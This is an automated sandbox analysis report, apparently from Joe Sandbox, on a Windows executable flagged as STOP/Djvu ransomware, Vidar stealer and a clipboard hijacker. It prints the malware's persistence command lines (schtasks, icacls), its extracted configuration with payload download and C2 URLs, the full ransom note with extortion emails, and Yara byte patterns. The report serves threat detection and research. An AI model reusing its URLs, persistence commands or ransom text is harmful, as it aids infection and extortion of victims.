Edit tour

Windows Analysis Report
rq0mVjR9ar.exe

Overview

General Information

Sample name:	rq0mVjR9ar.exe renamed because original name is a hash value
Original sample name:	b35348f4654893767a081b076f7becdf.exe
Analysis ID:	1430827
MD5:	b35348f4654893767a081b076f7becdf
SHA1:	05b4ff88303a5e72ff43d5554c4628cec9e71bf8
SHA256:	8e53393db26258fb917fd570861070420d31148c2826dcdbed52ce326c2d5ff6
Tags:	exeStop
Infos:

Detection

Babuk, Clipboard Hijacker, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Babuk Ransomware

Yara detected Clipboard Hijacker

Yara detected Djvu Ransomware

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

rq0mVjR9ar.exe (PID: 6764 cmdline: "C:\Users\user\Desktop\rq0mVjR9ar.exe" MD5: B35348F4654893767A081B076F7BECDF)

rq0mVjR9ar.exe (PID: 4324 cmdline: "C:\Users\user\Desktop\rq0mVjR9ar.exe" MD5: B35348F4654893767A081B076F7BECDF)

icacls.exe (PID: 5612 cmdline: icacls "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

rq0mVjR9ar.exe (PID: 5792 cmdline: "C:\Users\user\Desktop\rq0mVjR9ar.exe" --Admin IsNotAutoStart IsNotTask MD5: B35348F4654893767A081B076F7BECDF)

rq0mVjR9ar.exe (PID: 1320 cmdline: "C:\Users\user\Desktop\rq0mVjR9ar.exe" --Admin IsNotAutoStart IsNotTask MD5: B35348F4654893767A081B076F7BECDF)

build2.exe (PID: 1908 cmdline: "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe" MD5: A04031208441077A014F42095FF86107)

build2.exe (PID: 5644 cmdline: "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe" MD5: A04031208441077A014F42095FF86107)

build3.exe (PID: 6504 cmdline: "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

build3.exe (PID: 4904 cmdline: "C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe" MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 6368 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rq0mVjR9ar.exe (PID: 3984 cmdline: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe --Task MD5: B35348F4654893767A081B076F7BECDF)

rq0mVjR9ar.exe (PID: 5156 cmdline: C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe --Task MD5: B35348F4654893767A081B076F7BECDF)

rq0mVjR9ar.exe (PID: 2496 cmdline: "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart MD5: B35348F4654893767A081B076F7BECDF)

rq0mVjR9ar.exe (PID: 6940 cmdline: "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart MD5: B35348F4654893767A081B076F7BECDF)

mstsca.exe (PID: 3740 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 424 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

schtasks.exe (PID: 6556 cmdline: /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rq0mVjR9ar.exe (PID: 1924 cmdline: "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart MD5: B35348F4654893767A081B076F7BECDF)

rq0mVjR9ar.exe (PID: 5144 cmdline: "C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe" --AutoStart MD5: B35348F4654893767A081B076F7BECDF)

mstsca.exe (PID: 2096 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 2736 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 612 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 7136 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 2188 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

mstsca.exe (PID: 3804 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe MD5: 41B883A061C95E9B9CB17D4CA50DE770)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20usering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20usering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Threatname: Djvu

{"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\\\n8S4cMO\\/Bdgsd+jTtFbVs1bX4OXiYKnMXg4LclKMEHJ2gnP2X09BkzA29UJQlagak\\\\nuAL7j7iRagKeU4tAB8w9rziBYoa9zROqer7J6pf5B11vAvvRq4b3127kAxnMhpgo\\\\ns7MQC7pXIvTkEeGySeG+F5fjSMPUoF1\\/cAg6GuSWOPXoPvXKRA\\/mo+xyHVOKZe2+\\\\nSCpbMHAyMe7o4w\\/i\\/pVjv9g8pRDJtz14qtMuAR38ek+SPJ4PJCxA9e0tOi+p4yNn\\\\nvnFKoL5OwzoF+bvVHnTA7tk4fXB3AyaL9llS0kxEWS7x\\/kNYQyJPh9fimryM03Cy\\\\n1wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000014.00000002.4521193545.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000014.00000002.4521193545.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000014.00000002.4521193545.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001B.00000002.2836752940.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001B.00000002.2836752940.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001B.00000002.2836752940.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000010.00000002.2323452829.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000010.00000002.2323452829.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000010.00000002.2323452829.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000A.00000002.2358794500.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000001D.00000002.3476597951.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001D.00000002.3476597951.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001D.00000002.3476597951.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001A.00000002.2837488674.0000000000850000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001A.00000002.2837488674.0000000000850000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001A.00000002.2837488674.0000000000850000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000C.00000002.2241288054.000000000448C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.4521439007.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000D.00000002.2322724492.0000000000810000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000000D.00000002.2322724492.0000000000810000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000D.00000002.2322724492.0000000000810000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000001F.00000002.4097186671.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001F.00000002.4097186671.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
